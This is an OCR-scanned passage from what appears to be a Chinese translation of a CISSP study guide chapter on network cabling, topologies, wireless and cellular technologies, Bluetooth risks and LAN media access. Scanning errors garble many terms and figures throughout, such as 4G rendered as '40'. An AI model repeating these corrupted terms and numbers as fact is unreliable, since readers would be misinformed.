内 查找到 多 少种不同 的网络设备。 此外再观察一下设备部署模式， 例如， 是否总是以并联或 串联方
式部署设备? 要了解设备的功能， 是只 需观看外观还是必须 查看型 号 ?
LAN 扩展 LAN 扩展是一种远程访问 的多层交换机， 用于通过 WAN 链接连接远距离网络。 令
人奇怪的是， LAN 扩展会创建 WAN， 但是经销商却避开使用 WAN 术语， 而是只使用 L川和扩展
的 LAN 来称呼这种设备。 之所以这样做的原因是: 标准的 W剧 设备与复杂的概念和术语联系在一
起 ， 采用 LAN 术语能够使人们更容易理解这种设备， 并且更容易开展营销工作 。 最终， LAN 扩展
是与 WAN 交换机或 WAN 路由器相 同的产品(我们同意 Douglas Adams 的观点， 他坚信应当用宇宙
飞 船将销售人员 、 律师和 电话推销人员 运送到宇宙的最远端)。
注意 :
虽 然通过使用诸如防火墙和代理的过滤设备来管理网络安全是很重要的 ， 但我们不 能忽手职于终
端安全的需要。 终端是网络通信链路的终点。 一端通常在服务器资源一侧 ， 而 另 一端通常是客户机
请求使用 网 络资源。 即使使用 安全通信协议， 滥用 、 误用 、 疏忽或恶意的行为仍可能发生在网络上，
因 为 它起源 于一个终梢。 从一端到 另 一端的所有方面的安全性通常被称为端到端的安全性， 必须加
以解决。 任何不安全的端点最终都会被发现和滥用 。
11.7 布线 、 无线 、 拓扑和通信技术
在网络上建立安全性相 比管理操作系统和软件要涉及更多的内容。 还必须解决物理问题， 这些
问题包括布线 、 无线 、 拓扑和通信技术。
LAN 与 WAN
网络的 两个基本类型是 LAN 和 WAN. LAN (局域网)通常是覆盖某一楼层或某一栋建筑物的 网
络， 一般存在于有限的地理范围 内 。 WAN(广域网 )通常是指在相距遥远的远程网络之间建立的长距
离 连接。
第 11 章 网络安全架构与保护网络组件
W剧 连接和通信链接可能 包括专用 线路技术和数据包交换技术。 常见的专用 线路技术包括专
用 或租用 线路， 以及 ppp、 SLIP、 ISDN 和 DSL 连接。 数据包交换技术包括 X.25 、 帧 中继 、 异步传
输模式(ATM)、 同 步数据链路控告阳DLC)和高级数据链接控告盯IDLC)。 数据 包交换技术使用虚拟电
路代替专用 的物理线路。 虚拟电路只有在需要时才会建立， 这使得传输介质得到 了 有效使用 ， 并且
极为经济有效。
1 1 .7.1 网络布线
对于网络的设计、 布局和能力来说， 网络中使用 的连通性介质的类型十分重要。 如果没有进行
正确的连线， 那么网络可能无法覆盖整个企业， 也可能无法支持必需 的通信流量。 事实上， 网络故
障(也就是影响可用性)的最常见原因是线路故障或配置错误。 因此， 理解不同类型的网络设备和技
术使用不同 的线缆连接类型至关重要 。 每种线路类型都存在特有的有效长度 、 吞吐率以及连通性
要求。
1 . 同轴电缆
同轴电缆(coaxial cable 或 coax)是 20 世纪 70 年代和 80 年代流行的网络连线类型。 在 20 世纪 90
年代初期， 由于双绞线连接的广泛使用和表现出的出色能力(稍后将进行详细阐述)， 对 同轴 电缆的
使用越来越少。 同轴电缆的中心是一根铜线， 外面包着一层绝缘物质 ， 再往外是一层导 电的编织屏
蔽物 ， 并且 由最外面的绝缘外皮包裹着。
由于线缆中央的铜芯和编织屏蔽层作为两根独立的导线， 因此准许在同轴电缆上进行双向通信 。
同轴电缆的设计使其能够完全抵抗电磁干扰(EMI)， 能够支持高带宽(对比 同时代的其他技术)， 并且
提供比双绞线更长的可用长度。 由于双绞线戚本更加低廉且安装简便， 对 同轴电缆最终失去了主导
地位。 同轴电缆需要使用网段终结器， 而双绞线则不需要。 同轴电缆体积较为庞大 ， 并且最小弧形
半径也要比双绞线的大(弧形半径是指线缆可以弯 曲而不破坏内 部导线的最小长度)。 另外， 随着交
换网络的广泛部署 ， 由 于采用 了 结构化布线模式， 线缆距离的问题 己经变得不再那么重要。
同轴电缆具有两种主要类型 : 细缆和粗缆。 细缆也被称为 1 0Base2 ， 通常用来将系统连接到粗
缆主干线路。 细缆可以扩展到 1 85 米的距离， 并且能够提供高达 1 0Mbps 的吞吐率。 粗缆也被称为
1 0Base5 ， 可 以扩展到 500 米的距离 ， 并且能够提供高达 1 0Mbps 的吞吐率。
同轴 电缆的常见 问题如下:
• 同轴 电缆的弯曲会超 出最大弧形半径 ， 从而破坏中 心导线
• 部署同轴电缆的长度超过推荐的最大长度(I OBase2 的最大长度为 1 85 米， 1 0Base5 的最大长
度 为 500 米)
• 在 同轴 电缆末端没有正确使用 50 欧姆 电阻器
2 基带和宽带线缆
标记大多数网络连线技术所使用的命名规则都道，从语法 "XXyy盯IZZ"o XX 表示线路类型所提
供的最大速度， 例如 1 0Base2 线路提供的最大速率为 l OMbPSo yyyy 表示线路的基带或宽带特性，
例如 1 0Base2 线缆的基带特性。 基带线缆一次只能传输一个单独的信号， 宽带线缆则可以同时传输
多个信号。 绝大多数网络连线都采用基带线缆。 然而， 在特定的配置中使用时， 同轴电缆可以被用
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CISSP 官方学习指南(第 7 版)
作宽带连接， 例如线缆调制解调器。 zz 既可以表示线缆所能提供的最大应用距离， 也可以表示线缆
技术的速记形式， 例如 1 0Base2 线缆可以提供大约 200 米的距离(实际上是 1 85 米， 近似为 200 米)，
1 0Base-T 或 100Base-TX 中 的 T或四 表示双绞线(需要注意的是， 1 00Base-TX 使用两条 5 类 UTP
或 STP 线 路实现， 一条用于接收 ， 另 一条用于发送)。
表 1 l .7 列出了最常用的网络线缆连接类型的重要特性。
表 1 1 .7 常用网络线缆连接类型的重要特性
类型 最大速率 距离 安装难度 受 EMI 影响程度 成本
1 0Base2 1 0Mbps 1 85 米 中等 中 等 中 等
1 0Base5 1 0Mbps 500 米 主「 低 高
1 0Base-T(UTP) 1 0Mbps 1 00 米 低 高 很低
STP 1 55Mbps 1 00 米 中等 中等 高
1 OBase-T/l OBa卧TX 1 00Mbps 1 00 米 低 高 低
1 000Base-T 1 Gbps 1 00 米 低 高 中 等
光纤 2Gbps 以上 2 公里 以上 很高 不受影响 很高
3. 双绞线
与 同轴 电缆相 比， 双绞线相当细， 而且非常灵活。 双绞线由 4 对线缆组成， 这4对线双绞在一
起 ， 并且被包在 PVC 绝缘皮内。 如果在外皮之下、 线缆的周围包有一层金属箱片， 那么 这条线就被
称为屏蔽双绞线(STP)。 这层金属锚片对外部 EMI 提供了额外保护。 没有这层金属宿片的双绞线被
称为非屏蔽双绞线仰TP)o UTP 常常只被大家称为 10Base-T、 1 00Base-T 或 1OOOBase-T ， 这些现在
已被认为是一种过时的 技术 。
UTP 和 STP 的线缆由细铜线组成， 它们被成对地双绞在一起。 线缆的缠绕可以使线缆免受外部
的无线电频率干扰、 电子干扰和磁性干扰， 并且降低了线对之间的串扰。 由于电流会产生 电磁辐射，
因此一组线会被另一组线感应， 这样在数据传输时就会发生串扰。 线缆中的每个线对都以不同的程
度进行缠绕(也就是每英寸距离内进行缠绕) ， 这样当信号在一对线上传递时， 就不会交错到另一对
线上。 缠绕得越紧(每英寸进行的缠绕越多)， 那么对内 部和外部干扰以及串扰的屏蔽也就越强， 因
此吞吐的能力也就越大(也就是说 ， 具有更大的带宽)。
UTP 线缆有几种类型。 不同的种类来 自于使用 的线对缠绕的松紧、 导线的质量和外部绝缘层的
质量。 表 1l.8 列 出 了 UTP 的类别 。
表 1 1 .8 UTP 的类别
UTP 类别 吞吐率 说明
l 类 只 用 于语音 不适用于网络， 但是可用于调制解调器
2 类 4Mbps 不适用于大多数网络， 常常用于大型机中 的主机到终端的连接
3 类 1 0Mbps 主要用于 1 0Base-T 以太网(在令牌环网中只提供 4Mbps 的吞吐率)
4 类 1 6Mbps 主要用于令牌环网
5 类 1 00扣fbps 用 于 1 0Base-TX、 FDDI 和 ATM 网络
6 类 1 55Mbps 用 于高速网络
7 类 1 0Gbps 用 于千兆速率的网络
第 11 章 网络安全架构与保护网络组件
注意 :
如 类是 5 类的增强版本， 被设计用 于防止远端 串扰。 在 2001 年， TIA厄IA-568-B 不再认可最初
的 5 类规范。 现在 ， 1 00Base-T 甚至 1 000Base-T 部署采用 的 标准都为 如 类标准。
下 面列出了使用 双绞线的最常见 问题:
• 使用错误的双绞线线缆类型来完成高吞吐率的网络连接
• 部署的双绞线线缆长度超过推荐的最大长度(也就是 1 00 米)
• 在具有显著干扰的环境中 使用 UTP
4. 导线
导线型网络线缆的距离受到金属导线电阻的限制 。 作为最常用的导线 ， 铜线是最好、 最便直的
可用于室温环境下的一种导线。 然而 ， 铜线对于电流还是存在电阻， 这使得信号的强度和质量在超
出线缆的长度时会降低。
注意 :
阻燃线缆是一种用 燃烧时不会释放毒烟的特殊材料包围 的线缆， 就像传统的 PVC覆盖布线。 使
用 阻燃线缆往往需要遵从建筑规范， 尤其当 建筑物存在会聚集瓦斯气体的封闭空间时更应当注意。
每种线缆类型定义的最大长度 ， 指的是在哪一点信号降低的程度开始对数据传输的有效性产生
干扰。 信号的这种降低被称为衰减。 在使用 中 ， 结缆的长度常常可能超出定额， 但是错误和重传的
数量将在这条线缆上增加， 最终会导致网络的性能变得很差 。 随着传输速率的提高， 衰减将表现得
更加显著。 如果要提高传输速率， 建议大家使用较短的线缆。
距离长的钱缆常常可以通过使用中继器或集中器得到补充。 中继器是一个信号放大设备， 它更
像是车载或家用录音机的放大器。 中继器将输入数据流的信号强度增大， 然后从它的另一个端口 重
新广播出去。 除了具有两个以上的端 口 之外 ， 集中器与中继器进行同样的操作。 但是， 连续使用 的
中 继器不能多于 4 个(参看下面的 " 5-4-3 规则 " ) 。
5-4-3 规则
5-4-3 jJt.91IJ 用 于在树型拓才|、中部署以太网或其他 IEEE 802.3 共享访 问 网络的情况(也就是有一个
中 央主干， 并且具有一些分散的杖权)。 这条规则定义了 在网 络设计中 可以使用 的 中继 器/集中 器和
网段的数量。 这条规则规定， 在任意两个节点之间(节点可以是任意类型 的处理实体， 例如服务器、
客户 端或路由器)， 可以最多存在 由 4 个中继器/集中 器连接的 5 个网段， 这5个网段中只有 3 个网
段可以使用 (也就是可以 连接额外 的或其他的 用 户 、 服务器或 网 络设备)。
54-3 规则 不适用 于 交换网络， 也不适用 于使用 桥或路 由 器的情况。
针对建立在导线基础上的网络线缆， 存在一种备选方案， 那就是光纤。 光纤传输的是光脉冲，
而不是电子信号， 好处在于速率相当快， 而且几乎不会受到窃听和干扰。 然而， 光纤的安装困难且
价格昂贵， 因 此所提供的安全性和性能建立在高 昂 的 成本之上。
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CISSP 官方学习指南(第 7 版)
1 1 .7.2 网络拓扑
计算机和网络连接设备的物理布局和组织被称为网络拓扑结构。 逻辑拓扑结构指的是通过网络
连接在一起的系统被分组在一个可信集合内。 物理拓扑结构并不总与逻辑拓扑结构相同 。 网络的物
理布局存在 4 种基本的拓扑结构 : 环型、 总线型、 星型和网状型。
环型拓扑结构 环型拓扑结构将每个系统像圆周上的点一样连接在一起(如 图 1 1.9 所示)。 连接
介质像一条单向 的传输环。 每次只有一个系统可 以传输数据。 传输管理通过一个令牌实现。 令牌是
一个数字通行证， 它绕着环运动， 直至被系统捕获。 拥有令牌的系统能够传输数据。 数据和令牌被
传送到特定 的 目 的地。 在数据绕环传递时 ， 每个系统都要查看 自 己是否就是数据的预定接收者。 如
果不是， 则继续传递令牌。 如果是， 则读取数据 。 一旦数据被接收， 令牌即被释放， 并且返回到环
中 继续绕行， 直到被另一个系统捕获。 如果环中 的任意一段出现故障， 那么所有的绕环通信都将终
止 。 为 了 防止单点故障， 某些环型拓扑结构的 实现采用 了 容错机制 ， 例如反向运行的双环。
图 门 9 环型拓扑结构
总线型拓宁|、结构 总线型拓扑结构将每个系统都连接到一条主干线或骨干线。 总线上所有的系
统都可以 同时传输数据， 这样就可能导致冲突。 当两个系统同时传输数据时， 就会出 现冲突， 信号
会相互产生干扰。 为 了避免这种情况的发生， 系统采用冲突避免机制， 这种机制主要对当前其他任
意的通信进行 "侦昕 "。 如果侦听到通信， 那么系统会等待片刻并再次进行侦听。 如果没有侦听到通
信 ， 那么系统就传输其数据。 当数据在总线型拓扑结构上进行传输时， 网络上的所有系统都在侦昕
这些数据。 如果数据的 目 的地址不是某个特定的系统， 那么该系统就会忽略这个数据 。 总线型拓扑
结构的好处在于， 如果单个网段出现了故障， 那么其他所有网段上的通信仍然能够继续进行而不被
中断。 不过， 中 央干线仍然存在着单点故障隐患 。
334
总结型拓扑结构有两种类型: 线型和树型。 线型总线型拓扑结构采用单条主干线路， 所有的系
统都直接连接到干线上。 树型总线型拓扑结构采用单条主干线路， 其分支可以 支持多个系统。 图 1 1 .10
说明 了这两种拓扑结构类型。 总线在今天很少使用的主要原因是: 它必须在两端有终接器并且在整
个网络中容易 出 现断 网 的情况。
第 11 章 网络安全架构与保护网络组件
图 1 1 .10 线型总线型拓扑和树型总线型拓扑
星型拓扑 星型拓扑结构采用 了一个集中式连接设备， 这个设备可以是-台简单的集线器或交
换机。 每个系统都通过一个专用 的网段连接到中 央集线器(如 图 1 1 .11 所示)。 如果任意一个网段出现
故障， 那么其他网段仍然可以继续运作 。 然而， 中央的集线器却是一个单点故障点。 总的来说， 星
型拓扑结构使用 了 比其他拓扑结构更少的线缆连接 ， 并且更容易确定受损的线缆。
一条逻辑总线和一个逻辑环可 以被实现为一个物理的星型拓扑结构。 以太网是基于总线的技术，
它可以被部署为一个物理的星型拓扑结构， 但是集线器设备实际上是逻辑总线连接设备。 同样， 令
牌环是基于环的技术， 它可以通过使用多站访 问部件(Multistation Access Unit， MAU)被部署为一个
物理的星型拓扑结构 。 MAU 准许线缆段被部署为星型 ， 同时以内 部 的设备形成逻辑环连接。
网状型拓扑结构 网状型拓扑结构使用很多路径将一个系统与其他系统连接在一起(如图 1 1.12
所示)。 全交叉拓扑结构将每个系统与网络中 的其他所有系统都连接在一起。 部分交叉拓扑结构将很
多系统连接到其他很多系统。 网状型拓扑结构为系统提供了冗余连接， 这样， 即使多个网段出现故
障 ， 也不会对连通性造成严重的影响 。
图 1 1.11 星型拓扑结构 图 1 1.12 网状型拓扑结构
1 1 .7.3 无线通信与安全性
无线通信是一种快速扩展的技术， 这种技术用于网络连接、 连通性、 通信以及数据交换。 从字
面上看， 数千种协议、 标准和技术都可以被标记为无线的， 其中包括蜂窝 电话、 蓝牙、 无绳电话和
无线网络。 随着无线技术的持续快速增长， 组织的安全性必须超出其本地网络的范围。 安全性应当
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CISSP 官方学习指南(第 7 版)
是涉及通信的所有形式、 方法和技术的端到端解决方案。
1 . 无线的一般概念
无线通信使用无线电波远距离传输信号。 无线电波频谱是有限的， 因此对其使用时必须进行适
当 的管理， 从而保证在没有干扰或干扰很小的情况下允许多个使用同时存在。 无线电波频谱使用频
率进行测量或区分。 用频率测量波在特定时间内振动的次数(使用单位 Hz 进行确定)或者每秒的振动
次数。 无线电波的频率在 3Hz 到 300G险 之间。 不 同的频率范围被分配给特定的用途。 例如， AM
和 FM 无线电广播、 VHF和UHF 电视等。 目 前， 由于 900MHz、 2.4GHz 和 5GHz 频率是免执照的 ，
所以这几种频率在无线产品中是最常用的。 不过， 为了管理同时使用有限的无线电频率， 人们开发
了 某些频谱使用技术。 这些技术包括扩频、 FHSS、 DSSS 或 OFDM。
注意 :
大多 数设备不是在所有可用 频率内 运作， 而是在一小部分频率内 运作。 这是因 为 需要考虑频率
使用规则 (美 国 的相应规则是 FCC ) 、 功率消耗和对干扰的预期。
扩频指的是通信可 以通过多个频率同时发生 。 因此， 一条报文可以被分为若干片段， 所有片段
同 时进行发送， 不过每个片段都使用不同的频率。 实际上， 这是一种并行通信而不是串行通信。
跳频扩频(Frequency Hopping Spread Sp巳ctrum， FHSS)是扩频概念的早期实现。 然而， 这种技术
并非以并行方式发送数据 ， 而是以串行方式传输数据 ， 同时不断改变所使用的频率 。 可用频率的整
个范围都会被使用， 但是每次只使用一个频率。 发送者改变频率时 ， 为了接收到信号， 接收者必须
遵循相同 的跳频模式。 FHSS 被设计用于帮助最小化干扰， 而不是只使用会受到影响的单一频率。
在实际使用 中 ， 通过不断切换频率， 干扰就被最小化。
直接序列扩频(D让ect Sequence Spr四d Spectrum， DSSS)以并行方式同时利用所有可用频率。 与
FHSS 相 比， DSSS 提供了更高的数据吞吐率。 DSSS 也使用被称为碎片码的特殊编码机制来允许接
收方重构数据， 即使是部分信号由于干扰被破坏也同样适用 。 这种情况与 RAID-5 的奇偶位允许重
新创建所丢失驱动器上的 数据几乎完全相 同 。
正交频分复用(臼也ogonal Frequency-Division Multiplexing， OFDM)仍然是另一种频率使用 的变
化形式。 OFDM 利用 了 允许传输进行更紧密压缩的数字多载波调制模式。 己调制信号是正交的， 因
此不会导致相互干扰。 最后， OFDM 需要的频率组(也就是信道带宽)更小， 却能够提供更大的数据
吞吐率。
2. 蜂窝电话
蜂窝 电话无线通信会通过使用特定无线电波频率组的便携设备与蜂窝 电话运营商的网络以及其
他蜂窝电话设备或互联网交互。 蜂窝 电话所使用 的技术很多 ， 而且往往会引 起混淆。 一个比较容易
混淆的地方是 2G 和 3G 术语的使用 。 这些术语并非指专门 的技术， 而是指第几代蜂窝 电话技术。 因
此， l G 是第一代(主要是模拟技术)， 2G 是第二代(主要是数字技术 ， 3G 和 4G 同样如此)， 依此类推。
当系统集成第二代和第三代技术时 ， 我们甚至会讨论 2.5G。 表 1 1 .9 尝试澄清一些容易混淆的问题(只
列出了 部分无线 电话技术)。
第 11 章 网络安全架构与保护网络组件
表 1 1 .9 部分无线电话技术
技术 第几代
NMT IG
AMPS IG
TACS IG
GSM 2G
iDEN 2G
TDMA 2G
CDMA 2G
PDC 2G
HSCSD 2.5G
GPRS 2.5G
W-CDMA 3G
TD-CDMA 3G
UWC 3G
EDGE 3G
DECT 3G
UMTS 3G
HSPDA 3.5G
WiMax - IEEE 802.16 4G
XOHM (WiMax 的推广名) 4G
Mobile Broadband - IEEE 802.20 4G
L TE(Long Terrn Evolution) 4G
这个表所列的一些技术被标记为 40， 然而它们未实际满足 40 类技术的要求。 国 际电信联盟无
线 电通信部 门σrU-R)于 2008 年定义了 40， 但在 2010 年默许运营商可以把他们那些不满足 40 要
求的技术称为 40 技术， 只要其满足未来兼容的服务要求。 在 2014 年底， 50 标准进入了 人们的考
虑范围 。 新的 50 技术正在发展中 ， 但截至 201 5 年还没有 50 网络进行部署井提供给公众使用 。
就蜂窝 电话无线传输而言， 需要记住一些关键问题。 首先， 并非所有蜂窝 电话通信数据都是语
音: 蜂窝 电话常常被用于传输文本甚至计算机数据 。 其次， 对于蜂窝 电话提供商网络上的通信 ， 不
管是语音、 文本还是数据， 都不一定是安全的。 再次， 使用特定的无线嗅探装备能够截获蜂窝 电话
传输的信息 。 实际上 ， 连接的服务商基站能够被模拟进而导致中间人攻击。 最后， 如果使用蜂窝 电
话连通性访问 互联网或办公网络， 那么攻击者甚至还可能获得其他的攻击、 访问和破坏手段。 这些
设备中 的一些能潜在地成为网桥， 进而创建一条不安全的 通道来进入你的网络 。
接下来讨论-种重要的蜂窝 电话技术: 无线应用协议(W'rrelessApplication Protocol， WAP)o WAP
不是一个标准， 而是一个功能行业驱动的协议枝。 借助具备 WAP 能力的设备， 从蜂窝 电话或 PDA
通过互联网上 的蜂窝 电话运营商网络和网关接入公司 网络， 用户 就能够与公司 网络通信。 WAP 是一
套共同工作的协议族， 其中无线传输层安全(W'rreless Transport Layer S民urity， WTLS )协议能够提供
与 SSL 或 TLS 相似的安全连通性服务 。
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CISSP 官方学 习指南(第 7 版)
无线应用协议与无线接入点
无线应用协议因 为使用 同 样的缩写阴性的， 所以通常会和无线网络。02. 1 1)混淆在一起。在 802. 1 1
中 ， WAP 指无线接入点 。 记住它们之间 的 区 别 :
• 通过无线应 用 协议 ， 移动设备使用 移动 电话网络同王联网 建立通信链路。
• 通过元钱网络， 组织可部署 自 己的无线接入点， 以九许组织 的元钱客户 端连接到本地网络.
对于电信公司提供的 WAP 或其他任何安全服务来说， 必须认识到一个非常重要的安全问题:
我们不可能从通信服务提供商那里获得真正的端对端保护。 美国 的通信协助法律实施法案(CALEA)
授权: 只要能出示搜查证， 无论涉及任何技术的所有电信公司都必须允许能够窃听语音和数据通信。
因此， 电信公司无法为客户提供端到端的加密。 在通信路径上的某些位置， 通信数据必须被恢复为
明 文形式， 随后在到达 目 的地的余下路径上才被重新置为安全形式。 WAP 按照下面的方式遵循
CALEA 法律: 在移动的设备与电信公司使用WAP，瓜1TLS 的主服务器之间建立一个安全链接; 在能
够被重新封装入 SSL、 TLS、 IPSec 以便继续传输至其预期的 目 的地之前， 数据会被转换为明文形式。
知道这个问题之后， 我们可以适当地使用 电信服务， 尽可能地在电信公司链接中传输预先加密的数
据 ， 而不是传输未加密的明文数据 。
WAP 1 .0 在 1999 年开始应用于大多数欧洲移动电话。 WAP 2.0 发布于 2002 年。 今天， 极少部
分移动电话仍使用 WAP。 在 3G和4G 技术(包括 GSM、 EDGE、 HPDSA 和 LTE)中 ， 这个机制用于
支持移动电话和互联网之间的 TCP/IP 通信 。
3. 蓝牙(802. 1 5)
蓝牙或 IEEE 802. 1 5 个人局域网σ'AN)是与无线安全性有关的另一个区域。 蜂窝 电话的听筒、 麦
克风、 鼠标、 键盘、 GPS 设备以及其他许多接口设备和外围设备都通过蓝牙连接。 许多这样的连接
都使用被称为配对的技术来建立， 使用这种技术时， 主设备通过扫描 2.4GHz 无线电频率来查找可
用 的设备， 随后一旦发现存在可用的设备， 就会使用一个 4 位的 PIN 来 " 授权 " 配对。 这个过程确
实可以减少偶然自己对的数量， 但是 4位P时 并不安全(更不用说默认的 P肘， 往往为 0000)。 此外，
被称为蓝牙劫持的技术能够在仿刁三知'惰的情况下配对你的设备， 并且可以使用这些设备， 或者可以
从这些设备中提取信息。 这种攻击形式能够使攻击者访问你的联系人列表、 数据甚至谈话。 蓝牙窃
听这种攻击允许黑客远程控制蓝牙设备的特性和功能。 这可能包括打开麦克风的能力， 使用手机作
为音频监控。 幸运的是， 蓝牙通常 只具有 30 英尺的限定范围 ， 不过某些设备在 1 00 米之外也能够运
作。 虽然蓝牙使用了加密， 但并不是动态加密， 而且往往通过适当 的工作就能够破解。 蓝牙用 于非
敏感或非机密的活动。 只要有可能， 最好修改设备的默认 PIN。 不要使设备停留在发现模式， 在没
有活动使用 时总是关闭蓝牙。
4. 无绳电话
无绳 电话存在往往被忽视的安全 问题。 无绳 电话被设计使用任何一个免执照频率(也就是
900MHz、 2.4GHz 或 5GHz)。 许多不同类型的设备都使用了这三个免执照频率， 包括无绳电话、 婴
儿监视器、 蓝牙设备和无线网络连接设备。 常常被忽视的问题是: 因 为信号极少加密 ， 所以无绳 电
话很容易被偷听。 使用频率扫描仪 ， 任何人都能够监听你的谈话。
第 11 章 网 络安全架构与保护网络组件
5. 移动设备
智能手机和其他移动设备正显示出不断增加的安全风险， 因为它们变得越来越能够与互联网 以
及企业网络进行交互。 移动设备通常支持内 存卡 ， 并且可能会将恶意代码注入或将机密数据带出 企
业 。 许多移动设备还支持 USB 连接桌面终端或笔记本电脑以进行同步通信 ， 例如传输文件、 文档、
音乐、 视频等。 设备本身通常包含敏感数据， 例 如通信录 、 短信、 电子邮件， 甚至记录和文件。
移动设备的遗失或失窃意 味着个人和 企业机密的破坏 。
移动设备己成为黑客和恶意代码的攻击 目标。 不在移动设备上保存敏感信息是十分重要的。 在
设备上运行防火墙和防病毒产品 (如 果可提供的 话)并且保持系统锁 定或加密(如果可行的话)。
此外， 移动设备无法避免窃听。 使用正确类型的精良设备， 大多数移动电话可以被窃听， 更不
用说事实上 1 5 英尺范围 内 的任何人都可以听到你说话。 员工应该被培训在公共场所谨慎使用手机进
行谈论。
在移动设备上可提供广泛的安全功能。 然而， 支持安全功能与合理配置及启用不是一样的事情，
只有当强制使用安全功能时， 安全的好处才能获得。 请务必检查所有允许连接到组织网络上任意设
备的所有需要的安全功能按预期要求运行。
注意 :
属于个人的设备可以是以下任意类型 : 使携 式设备、 移动设备、 个人移动设备σMD)、 个人电
子设备或便携 式 电子设备(PED)以 及个人拥有设备(POD)。
关于管理移动设备安全性的更多信息请参见第 9 章 " 安全脆弱性、 威胁和对策"， 特别是 "评估
和减轻移动系统的脆弱性 " 一节 。
1 1 .7.4 LAN 技术
LAN(局域网)技术存在三种主要类型: 以太网、 令牌环和 FDDI。 虽然还存在其他少数局域网技
术， 但是它们的使用不如这三种类型广泛。 此外， CISSP 考试仅涉及这三种主要类型。 LA1叫技术之
间 的大多数差别存在 于数据链路层及其 以下层。
1 . 以太网
以太网是一种共享介质 的 LAN 技术， 也称为广播技术。 这意味着它准许很多设备在相同的介
质上进行通信， 但是要求每台设备轮流通信并且执行冲突检测和避免操作。 以太网采用广播域和冲
突域。 广播域是一个物理的系统组， 这个组中的所有系统成员都会接收到由组中单个系统发送的广
播 。 广播是传输到特定地址的消息， 它指示所有的系统都是预计的接收者 。
冲突域包含若干系统组， 在冲突域内， 如果两个系统同时进行传输， 就会发生数据冲突 。 当两
条被传输的消息企图同时使用网络介质时， 就会出现数据冲突， 这会导致其中一条或两条消息 出现
说误。
以太网可以支持全双工通信(也就是完全双向 的通信) ， 并且往往使用 同轴电缆或双绞线连接。
以太网最常在星型或总线型拓扑上部署。 以太网基于 IEEE 802.3 标准。 单独的 以太网数据单元被称
为帧。 快速以太网能够支持 100Mbps 吞吐量。 千兆以太网则能支持 1 OOOMbps(1 Gbps)吞吐量。 万兆
以太网则能支持 1 0 OOOMbps ( l OGbps)吞吐量。
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CISSP 官方学习指南(第 7 版)
2. 令牌环
令牌环来用令牌传递机制来控制哪些系统可以在网络介质上传输数据。 令牌在 LAN 所有成员
形成的逻辑环上进行传递。 令牌环可 以来用环型或星型网络拓扑。 由于令牌环的性能有限， 比起以
太网来说成本又高， 而且会增加部署和管理的难度 ， 今天己 极少使用 。
令牌环可通过使用多站访问组件φifAU)部署物理星型结构。 MAU允许电缆段部署为星型结构，
同 时 内部 设备使用逻辑令牌连接。
3. 光纤分布式数据接口 (FDDI)
光纤分布式数据接口 σDDI)是一种使用两个环的高速令牌传递技术， 其中信息流在两个环上沿
相反的方向传输。 FDDI 常用作大型企业网络的主干， 它的双环设计允许实现自愈， 即从环中去除
故障网段， 并且利用剩下的部分内部环和外部环建立单个环 。 虽然 FDDI 价格昂贵， 但是在快速以
太网和千兆以太网出现之前常常被用在校园环境中 。 价格稍便直、 距离有限且速度更慢的版本称为
铜 钱分布式数据接 口 (CDDI)o CDDI 也更容易遭到干扰和偷听。
4. 辅助技术
大多数网络并非只包含一种技术， 而是包含众多技术。 例如， 以太网并不只是一个单独的技术，
而是支持其通用 以及预期活动和行为的多个辅助技术的超集。 以太网包括数字通信、 同步通信和基
带通信技术， 并且支持广播、 多播和单播通信以及带有冲突检测的载披侦昕多路存取(Carrier-Sense
Multiple Access 飞机也 Collision Detection， CSMAlCD)。 许多 LAN 技术， 例如以太网、 令牌环和 FDDI
都可能包括下面所介绍 的 辅助技术。
5. 模拟和数字
对于许多网络通信形式来说， 常见的一种辅助技术是在物理介质(例如， 线缆)上实际传输信号
所使用 的机制 。 传输机制分为两种类型 : 模拟和数字。
• 使用频率、 幅度、 相位、 电压等发生变化的连续信号时， 就会进行模拟通信 。 连续信号的
差异会产生波形(与数字信号 的方波形成对照)。 连续信号的差异导致实际通信的发生。
• 通过使用非连续 的 电子信号 以及状态改变或开关脉冲 ， 就会出现数字通信 。
在长距离传输或存在干扰时， 数字信号比模拟信号更可靠。 这是因为数字信号的 既定信息存储
方法利用 了 直流 电压， 其中有电压代表值 L 无电压代表值 0 。 这些开关脉冲创建了一个二进制数据
流。 由于长距离传输和干扰所造成的衰减， 模拟信号会发生变化和i化误。 与数字信号只有两种状态
相比， 模拟信号具有无限多的变化被用于信号编码， 因此在衰减增长时， 对信号的多余更改会导致
数据抽取工作更加困难。
340
6. 同步和异步
某些通信使用 时钟或定时活动进行同步 。 通信既可 以是同步的 ， 也可以是异步的 。
• 同步通信依赖于定时或时钟机制， 这种机制基于独立的时钟或数据流 内嵌的时间标记。 同
步通信通常能够支持非常高速的数据传送 。
第 11 章 网 络安全架构与保护网络组件
• 异步通信依赖于停止和开始定界位来管理数据的传输。 因为使用 了定界位以及传输的停止
和开始特征， 所以异步通信最适用于数据量较少的传输 。 公用 电话交换网(pS白。调制解调
器就是异步通信的一个绝佳示例 。
7. 基带和 宽带
在一个线缆段上能够同时发生的通信数取决于使用 的 是基带技术还是宽带技术 。
• 基带技术只能支持单个通信信道， 它使用直流电应用于线缆， 其中有电流表示二进制信号 1 ，
无 电流表示二进制信号 0 。 基带是一种数字信号形式 。 以太网就是基带技术。
• 宽带技术能够支持多个同时发生的信号。 宽带使用频率调制来支持许多信道， 每个信道都
支持一个截然不同的通信会话 。 宽带适用于高吞吐率， 尤其适用于若干信道复用 的情况。
宽带是一种模拟信号形式。 有线电视和线缆调制解调器、 ISDN、 DSL、 T 1 以及 T3 都是宽
带技术的示例 。
8. 广播、 多播和单播
另 一种 辅助技术确定 了单个传输能够到达的 目 的地数量， 具体的选项是广播、 多播和单播。
• 广播技术支持与所有可能的接收者进行通信 。
• 多 播技术支持与多个特定的接收者进行通信 。
• 单播技术只支持与某个特定接收者的单一通信 。
9. LAN 介质访问
最后要介绍的是， 至少有 5 种 LAN 介质访 问技术用来避免或阻止传输冲突。 这些技术定义了
所有位于相同冲突域内的多个系统如何进行通信 ， 其中一些技术主动防止冲突 ， 另 外一些技术则对
冲突做出响应 。
载波侦昕多路存取(CSMA) 这是一种使用 下列 步骤进行通信 的 LAN 介质访 问技术:
(1) 主机侦听 LAN 介质 ， 从而确定 LAN 介质是否正在使用 。
(2) 如 果 LAN 介质未被使用 ， 那么主机就传输其通信数据。
(3) 主机等待确认信号。
(4) 如 果超时未接收到确认信号 ， 那么主机从步骤(1 )开始重新执行操作 。
CSMA 并不直接解决冲突。 如果发生冲突 ， 那么通信就不成功， 因此也不会接收到确认信号。
这样会导致发送系统重新传输数据和重新执行 CSMA 过程。
